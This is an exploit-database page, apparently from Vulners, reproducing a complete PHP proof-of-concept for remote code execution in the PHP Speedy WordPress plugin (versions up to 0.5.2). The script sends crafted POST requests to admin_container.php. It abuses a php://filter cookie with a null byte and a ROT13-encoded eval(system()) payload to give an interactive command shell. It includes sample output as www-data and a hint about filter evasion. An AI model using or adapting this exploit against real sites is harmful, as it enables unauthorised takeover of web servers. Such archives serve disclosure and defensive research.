Lucene search
K

PHP Speedy <= 0.5.2 Wordpress Plugin (admin_container.php) Remote Code Exec Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

PHP Speedy <= 0.5.2 Wordpress Plugin (admin_container.php) Remote Code Exec Exploit by mr_m

Code

                                                &#60;?php
/*
php speedy &#60;= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit
vendor: http://aciddrop.com/
-------------------------------
May the stars be aligned!
php.ini requirements: 
register_globals=On 
allow_url_include=On 
magic_quotes_gpc=Off
------------------------------
[mr_me@pluto php_speedy]$ php PoC.php -t 10.3.100.3:80 -d /webapps/wp/ -p 127.0.0.1:8080

-----------------------------------------------------------------------------------
php speedy &#60;= 0.5.3 wordpress plugin (admin_container.php) Remote Code Exec Exploit
by mr_me - https://net-ninja.net/
-----------------------------------------------------------------------------------
(+) Setting the proxy to 127.0.0.1:8080

[email protected]# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[email protected]# uname -a
Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux

[email protected]# q
*/

print_r(&#34;
-----------------------------------------------------------------------------------
php speedy &#60;= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit
by mr_me - https://net-ninja.net/
-----------------------------------------------------------------------------------
&#34;);

if ($argc &#60; 3) {
print_r(&#34;
-----------------------------------------------------------------------------
Usage: php &#34;.$argv[0].&#34; -t &#60;host:ip&#62; -d &#60;path&#62; OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php &#34;.$argv[0].&#34; -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080
php &#34;.$argv[0].&#34; -t 192.168.1.5 -d /wp/
-----------------------------------------------------------------------------
&#34;); die; }

error_reporting(7);
ini_set(&#34;max_execution_time&#34;, 0);
ini_set(&#34;default_socket_timeout&#34;, 5);

$proxy_regex = &#34;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)&#34;;

function setArgs($argv){
    $_ARG = array();
    foreach ($argv as $arg){
        if (ereg(&#34;--([^=]+)=(.*)&#34;, $arg, $reg)){
            $_ARG[$reg[1]] = $reg[2];
        }elseif(ereg(&#34;^-([a-zA-Z0-9])&#34;, $arg, $reg)){
            $_ARG[$reg[1]] = &#34;true&#34;;
        }else {
            $_ARG[&#34;input&#34;][] = $arg;
        }
    }
    return $_ARG;
}


$myArgs = setArgs($argv);
$host = $myArgs[&#34;input&#34;][&#34;1&#34;];
$path = $myArgs[&#34;input&#34;][&#34;2&#34;];

if (strpos($host, &#34;:&#34;) == true){
    $hostAndPort = explode(&#34;:&#34;,$myArgs[&#34;input&#34;][1]);
    $host = $hostAndPort[0];
    $port = (int)$hostAndPort[1];
}else{
    $port = 80;
}


if(strcmp($myArgs[&#34;p&#34;],&#34;true&#34;) === 0){
    $proxyAndPort = explode(&#34;:&#34;,$myArgs[&#34;input&#34;][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo &#34;(+) Setting the proxy to &#34;.$proxy.&#34;:&#34;.$pport.&#34;\r\n&#34;;
}else{
    echo &#34;(-) Warning, a proxy was not set\r\n&#34;;
}

// rgods sendpacketii() function
function sendpacket($packet){
    global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;
    if (strcmp($myArgs[&#34;p&#34;],&#34;true&#34;) != 0) {
        $ock = fsockopen(gethostbyname($host),$port);
        if (!$ock) {
            echo &#34;(-) No response from &#34;.$host.&#34;:&#34;.$port; die;
        }
    }
    else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
            echo &#34;(-) Not a valid proxy...\n&#34;; die;
        }
        $ock=fsockopen($proxy,$pport);
        if (!$ock) {
            echo &#34;(-) No response from proxy...&#34;; die;
        }
    }
    fputs($ock,$packet);
    if ($proxy == &#34;&#34;) {
        $html = &#34;&#34;;
        while (!feof($ock)) {
            $html .= fgets($ock);
        }
    }else {
        $html = &#34;&#34;;
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
            $html .= fread($ock,1);
        }
    }
    fclose($ock);
}

if (strcmp($myArgs[&#34;p&#34;], &#34;true&#34;) != 0) {$p = $path;} else {$p = &#34;http://&#34;.$host.&#34;:&#34;.$port.$path;}

function read(){
    $fp1 = fopen(&#34;/dev/stdin&#34;, &#34;r&#34;);
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
}

while ($cmd != &#34;q&#34;){
echo &#34;\n&#34;.get_current_user().&#34;@&#34;.$host.&#34;# &#34;;
$cmd = trim(read());

// maybe use base64 for better filter evasion 
$data = str_rot13(&#34;&#60;?php eval(system(\&#34;&#34;.$cmd.&#34;\&#34;)); ?&#62;&#34;);
$packet = &#34;POST &#34;.$p.&#34;wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php HTTP/1.1\r\n&#34;;
$packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Cookie: page=php://filter/read=string.rot13/resource=php://input%00\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet .= &#34;Connection: Close\r\n\r\n&#34;;
$packet .= $data;

if ($cmd != &#34;q&#34;){
    sendpacket($packet);
    $temp = explode(&#34;Parse error&#34;,$html);
    $______finalresponse = explode(&#34;/&#62;&#60;/a&#62;&#34;, $temp[0]);
    echo trim($______finalresponse[1]).&#34;\r\n&#34;;
    }
}
?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18